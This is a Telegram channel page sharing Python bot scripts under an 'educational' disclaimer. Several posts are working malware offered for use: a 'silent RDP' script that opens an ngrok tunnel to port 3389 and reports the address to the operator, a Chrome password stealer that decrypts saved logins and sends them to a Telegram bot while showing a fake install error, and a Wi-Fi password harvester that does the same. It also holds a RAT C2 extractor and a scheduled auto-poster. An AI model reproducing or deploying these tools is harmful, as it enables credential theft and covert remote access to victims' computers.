Python Telegram Bots
734 subscribers
1 photo
3 videos
1 file
37 links
All types of python telegram bot with explanation. By @EFXTV

This channel is intended solely for educational and awareness purposes. Any illegal activity is a...

Backup Channel https://t.me/+_w-03ZG1E_thMDhl

Donate: https://buymeacoffee.com/efxtv
Download Telegram
Python Telegram Bots pinned ยซThank you for your support! ๐Ÿ™ Join our Python 1000+ family and stay connected for updates. Support us here ๐Ÿ˜„2: https://t.me/Best_AI_tools_everyday Iโ€™ll work on bringing you more great tools soon!ยป
SILENT RDP Telegram Bot Source in Python
Enable RDP and gain silent access to your PC 24/7 via a Telegram bot
โœจ JOIN VIP (Fix errors and add more features)

import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_to_telegram(message):
bot = Bot(token=TELEGRAM_TOKEN)
await bot.send_message(chat_id=CHAT_ID, text=message)

def startng():
ngrok_path = r'C:\temp\ngrok\ngrok.exe'

command = [ngrok_path, 'tcp', '3389']

with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
time.sleep(7)

return

def notexist():
os.makedirs(r'C:\temp\ngrok', exist_ok=True)
url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
output_path = r"C:\temp\ngrok\ngrok.zip"
extract_dir = r"C:\temp\ngrok"

response = requests.get(url, stream=True)

with open(output_path, "wb") as file:
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)

with zipfile.ZipFile(output_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)

command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN' # Replace with your ngrok authtoken
with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)

return


def exist():
url = "http://localhost:4040/api/tunnels"
response = requests.get(url)
data = response.json()

public_url = data['tunnels'][0]['public_url']
result = public_url.replace('tcp://', '')

IP, PO = result.split(':')

ip_address = socket.gethostbyname(IP)

# Prepare the message to send to Telegram
output_message = f"> IP: {ip_address}\n> PO: {PO}"

# Run the async function to send the message to Telegram
asyncio.run(send_to_telegram(output_message))

return

a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
startng()
exist()
else:
notexist()
startng()
exist()

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐Ÿ‘6โค2๐Ÿ˜ญ1
Media is too big
VIEW IN TELEGRAM
SILENT RDP Telegram Bot Source in Python

Enable RDP and gain silent access to your PC (LAN/WAN) 24/7 via a Telegram bot

[+] No Network Loss
[+] 24/7 Connection
[+] Easy Remote PC Access
[+] Join VIP to Unlock 10+ Cool Features

Source Code for you ๐Ÿ‘‰๐Ÿป Download Now

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐Ÿ‘3
Python Telegram Bots pinned ยซSILENT RDP Telegram Bot Source in Python Enable RDP and gain silent access to your PC 24/7 via a Telegram bot โœจ JOIN VIP (Fix errors and add more features) import requests import json import socket import zipfile import subprocess import time import osโ€ฆยป
Forwarded from Python Telegram Bots
IP Port Extractor for Craxs RAT APK (Android Remote Tool)
โœจ JOIN VIP (Fix errors and add more features)

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()

def decode_base64(encoded_str):
padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
decoded_bytes = base64.b64decode(padded_str)
return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
md5_hash = calculate_md5(apk_path)
results = []

with tempfile.TemporaryDirectory() as temp_dir:
result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if result.returncode != 0:
return "Error: jadx failed to decompile the APK."

java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

for file_path in java_files:
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()

host_matches = client_host_pattern.findall(content)
port_matches = client_port_pattern.findall(content)

if host_matches and port_matches:
host_base64 = host_matches[0]
port_base64 = port_matches[0]

try:
decoded_host = decode_base64(host_base64)
decoded_port = decode_base64(port_base64)
message = (f"IP: {decoded_host}\n"
f"Port: {decoded_port}\n"
f"Join: @EFXTV")
results.append(message)
except Exception as e:
results.append(f"Error decoding base64 strings: {e}")

return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
file = update.message.document
file_id = file.file_id
file_name = file.file_name
file_path = os.path.join(tempfile.gettempdir(), file_name)

try:
# Get the file object
telegram_file = await context.bot.get_file(file_id)
# Download the file
await telegram_file.download_to_drive(file_path)
# Process the APK file
message = extract_ips_and_ports_from_apk(file_path)
# Send the result back to the user
await update.message.reply_text(message)
except Exception as e:
await update.message.reply_text(f"An error occurred: {e}")
finally:
# Clean up the temporary file
if os.path.exists(file_path):
os.remove(file_path)

def main():
application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()

application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

application.run_polling()

if __name__ == '__main__':
main()


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐Ÿ‘3
hi
โค11๐Ÿ‘Ž1
๐Ÿšจ Introducing the Chrome Password Decryptor Bot! ๐Ÿšจ P1

This bot is designed to help you recover your saved passwords from Google Chrome in a secure and easy way. It extracts and decrypts your saved login information from Chrome's encrypted storage, so you can get access to your credentials even if youโ€™ve forgotten them.

Pip installs are:
pip install pywin32
pip install requests
pip install pycryptodome

import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
import csv
import requests
import random
import time

CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State" % (os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data" % (os.environ['USERPROFILE']))
TELEGRAM_BOT_TOKEN = "YOUR_BOT_API_TOKEN"
TELEGRAM_CHAT_ID = "YOUR_CHAT_ID"

def send_telegram_message(message):
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
payload = {
"chat_id": TELEGRAM_CHAT_ID,
"text": message,
}
try:
response = requests.post(url, data=payload)
response.raise_for_status()
except Exception as e:
print(f"Failed to send message to Telegram: {e}")

def get_secret_key():
try:
with open(CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome secretkey cannot be found")
return None

def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s" % str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""

def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome database cannot be found")
return None

def fake_error_message():
fake_messages = [
"Installation failed. Please retry later.",
"An unexpected error occurred during setup.",
"Error: Could not verify the installation process.",
"Setup encountered an error. Please reinstall."
]
print(random.choice(fake_messages))
โค2
๐Ÿšจ Introducing the Chrome Password Decryptor Bot! ๐Ÿšจ P2

if __name__ == '__main__':
try:
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index", "url", "username", "password"])
secret_key = get_secret_key()
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) != None]
for folder in folders:
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data" % (CHROME_PATH, folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index, login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url != "" and username != "" and ciphertext != ""):
decrypted_password = decrypt_password(ciphertext, secret_key)
csv_writer.writerow([index, url, username, decrypted_password])
message = f"<b>URL:</b> {url}\n<b>Username:</b> {username}\n<b>Password:</b> {decrypted_password}"
send_telegram_message(message)

cursor.close()
conn.close()
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s" % str(e))


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐Ÿ‘5โคโ€๐Ÿ”ฅ1โค1๐Ÿ‘Ž1๐Ÿ”ฅ1
hi
๐Ÿ“6โค3๐Ÿซก2๐Ÿ”ฅ1๐Ÿฅฐ1
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv

Thank you for your support!
Python Telegram Bots pinned ยซSupport My Work! If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing. Https://buymeacoffee.com/efxtv Thank you for your support!ยป
โšก Need to send your Wi-Fi passwords directly to your Telegram bot? I just wrote a Python script that does exactly that cleanly and efficiently!

โšก The script automatically fetches saved Wi-Fi passwords from your system (works on Windows and Linux) and sends them to a Telegram chat using the Bot API.

โšก It uses standard libraries like subprocess, os, and json, along with the popular requests module to interact with Telegram.

โšก Setup is easy: you just need to install requests (pip install requests), get your bot token from @BotFather, and know your chat ID.

โšกOnce configured, the script will list all available Wi-Fi profiles with their passwords and send them neatly formatted to your Telegram account.

โšก Itโ€™s a practical tool for network audits, remote diagnostics, or just keeping a backup of Wi-Fi credentials.

#telegrambot
#python_telegram_bot_source_codes

Source Link ๐Ÿ‘‰ Visit me

Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv

Thank you for your support!
โค1
import subprocess
import requests
import os
import json

BOT_TOKEN = 'YOUR_BOT_TOKEN_HERE'
CHAT_ID = 'YOUR_CHAT_ID_HERE'

def get_wifi_passwords():
wifi_passwords = {}

platform = os.name
if platform == 'nt':
output = subprocess.check_output('netsh wlan show profiles', shell=True).decode()
profiles = [line.split(":")[1].strip() for line in output.split('\n') if "All User Profile" in line]

for profile in profiles:
try:
profile_info = subprocess.check_output(
f'netsh wlan show profile "{profile}" key=clear', shell=True
).decode()
password_lines = [line for line in profile_info.split('\n') if "Key Content" in line]
if password_lines:
password = password_lines[0].split(":")[1].strip()
else:
password = "No password found"

wifi_passwords[profile] = password
except subprocess.CalledProcessError:
wifi_passwords[profile] = "Could not retrieve password"

elif platform == 'posix':
nmcli_path = shutil.which("nmcli")
if nmcli_path:
try:
result = subprocess.check_output(['nmcli', '-t', '-f', 'NAME,SECURITY', 'connection', 'show']).decode()
networks = [line.split(":")[0] for line in result.strip().split('\n') if line]

for network in networks:
try:
passwd_result = subprocess.check_output(
['nmcli', '-s', '-g', '802-11-wireless-security.psk', 'connection', 'show', network]
).decode().strip()
if passwd_result:
wifi_passwords[network] = passwd_result
else:
wifi_passwords[network] = "No password set or not found"
except subprocess.CalledProcessError:
wifi_passwords[network] = "Could not retrieve password"
except Exception as e:
wifi_passwords["error"] = f"Error: {str(e)}"
else:
wifi_passwords["error"] = "nmcli not found on system."

else:
wifi_passwords["error"] = "Unsupported operating system"

return wifi_passwords

def send_to_telegram(message):
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
payload = {
'chat_id': CHAT_ID,
'text': message,
'parse_mode': 'Markdown'
}
response = requests.post(url, data=payload)

if response.status_code == 200:
print("Successfully sent to Telegram.")
else:
print(f"Failed to send message: {response.status_code}, {response.text}")

def main():
wifi_data = get_wifi_passwords()

if "error" in wifi_data:
send_to_telegram(f"Error fetching WiFi passwords: {wifi_data['error']}")
else:
formatted_message = "*WiFi Passwords:*\n\n"
for wifi, password in wifi_data.items():
formatted_message += f"`{wifi}` : `{password}`\n"

send_to_telegram(formatted_message)

if __name__ == "__main__":
main()
๐Ÿ”ฅ5๐Ÿ‘2
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv

Thank you for your support!
โค3
๐Ÿ˜ฎโ€๐Ÿ’จWant to send free SMS?

๐Ÿ˜‘ No solution ๐Ÿ˜ญ

๐Ÿ˜ฏ What if we can send unlimited free SMS via telegram Bot?

๐Ÿ˜Š Here is the one try it. Keep supporting more telegram bots. Absolutely Free

Visit the source here ๐Ÿ‘‰ Visit me

Support us: Https://buymeacoffee.com/efxtv
โค3๐Ÿ‘1
hi
๐Ÿ”ฅ3๐Ÿซก3๐Ÿ‘1
๐Ÿ•’ Telegram Auto Poster Bot โ€“ Schedule Messages with Ease!

๐Ÿš€ Want to automatically post messages to your Telegram group or channel at specific times? Here's a simple Python tool that gets the job done:

๐Ÿ”ง Key Features:

1. โฐ Time Scheduling
Send messages at a specific time daily using one command:
python app.py post.txt -t "09:00" IST


2. ๐Ÿ“‚ Post from File
It reads content directly from a .txt file (like post.txt) and posts it as the message.


3. ๐ŸŒ Timezone Support
Fully supports timezone-aware scheduling (e.g., IST), perfect for local or global audiences.


4. ๐Ÿ“ข Works with Groups & Channels
Just add your bot to any Telegram group or channel and itโ€™ll start posting no extra setup!


5. ๐Ÿ” Repeats Daily Automatically
Once scheduled, the posts go out daily at the same times unless stopped.

๐Ÿ”ฅ Pro version has more features

Access Free Version Here ๐Ÿ‘‰ View Post

๐Ÿ”ฅ Multiple posts a day

โšก Post on YouTube, WhatsApp, Facebook, Instagram (All from telegram Bot)

๐Ÿ”ฅ In a different timezone

โšก Multiple Files and text files push

๐Ÿ”’Many more

๐Ÿ‘‰ Https://buymeacoffee.com/efxtv


#TelegramBot #Scheduler #PythonAutomation #TelegramTools #DailyPostBot

๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡
๐Ÿ‘4โค1
import sys
import logging
import asyncio
from datetime import datetime
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
import pytz

from telegram import Bot
from telegram.error import TelegramError

# ========================
# CONFIGURATION
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN_HERE"
GROUP_ID_OR_USERNAME = "@yourgroupusername_or_chatid"
# ========================

logging.basicConfig(
format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.INFO
)
logger = logging.getLogger(__name__)

def read_post_content(filepath):
try:
with open(filepath, 'r', encoding='utf-8') as f:
return f.read()
except Exception as e:
logger.error(f"Failed to read post content from {filepath}: {e}")
sys.exit(1)

async def send_message(bot, chat_id_or_username, text):
try:
await bot.send_message(chat_id=chat_id_or_username, text=text)
logger.info("Message sent successfully.")
except TelegramError as e:
logger.error(f"Failed to send message: {e}")

async def scheduled_job(bot, chat_id_or_username, post_content):
logger.info("Scheduled job triggered. Sending message...")
await send_message(bot, chat_id_or_username, post_content)

def parse_args():
if len(sys.argv) < 5 or sys.argv[2] != "-t":
print('Usage: python app.py post.txt -t "HH:MM" "Timezone"')
sys.exit(1)

post_file = sys.argv[1]
time_str = sys.argv[3]
timezone_str = sys.argv[4]

try:
hour, minute = map(int, time_str.split(":"))
except ValueError:
logger.error("Time format must be HH:MM (e.g. 14:50)")
sys.exit(1)

if timezone_str not in pytz.all_timezones:
logger.warning(f"Unknown timezone '{timezone_str}'. Defaulting to Asia/Kolkata (IST).")
timezone_str = "Asia/Kolkata"

return post_file, hour, minute, timezone_str

def main():
post_file, hour, minute, timezone_str = parse_args()

if BOT_TOKEN == "YOUR_TELEGRAM_BOT_TOKEN_HERE" or GROUP_ID_OR_USERNAME == "@yourgroupusername_or_chatid":
logger.error("Please set your BOT_TOKEN and GROUP_ID_OR_USERNAME in the script.")
sys.exit(1)

post_content = read_post_content(post_file)
bot = Bot(token=BOT_TOKEN)

scheduler = AsyncIOScheduler(timezone=pytz.timezone(timezone_str))

scheduler.add_job(
scheduled_job,
trigger=CronTrigger(hour=hour, minute=minute),
args=[bot, GROUP_ID_OR_USERNAME, post_content],
id="daily_post",
replace_existing=True,
)

scheduler.start()
logger.info(f"Scheduled post at {hour:02d}:{minute:02d} {timezone_str}. Waiting...")

try:
asyncio.get_event_loop().run_forever()
except (KeyboardInterrupt, SystemExit):
logger.info("Shutting down scheduler...")
scheduler.shutdown()

if __name__ == "__main__":
main()


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐Ÿ‘3โค2
Telegram Group User Extractor Bot built with Python: (Python Education)

๐Ÿ“ฅ Telegram User Extractor Bot (Python-Based)
Want to export all members (including admins) from any Telegram group or channel? Here's a powerful CLI bot using Telethon:

1๏ธโƒฃ Extracts usernames + full names from public/private groups you're in

2๏ธโƒฃ Saves all data neatly in a users.txt file

3๏ธโƒฃ Sends the file to your own Telegram (Saved Messages)

4๏ธโƒฃ Works with your own account (not a bot) using Telegram API

5๏ธโƒฃ One-command run:
python app.py

๐Ÿ’ก View the post Here

๐Ÿ›  Get started:
https://my.telegram.org โ†’ Get API ID + Hash

๐Ÿ“‚ Code: DM me or reply "GET USER BOT"

#telegram #python #userextractor #telethon #groupbot #opensource

For more : Https://buymeacoffee.com/efxtv

๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡๐Ÿ‘‡
โค1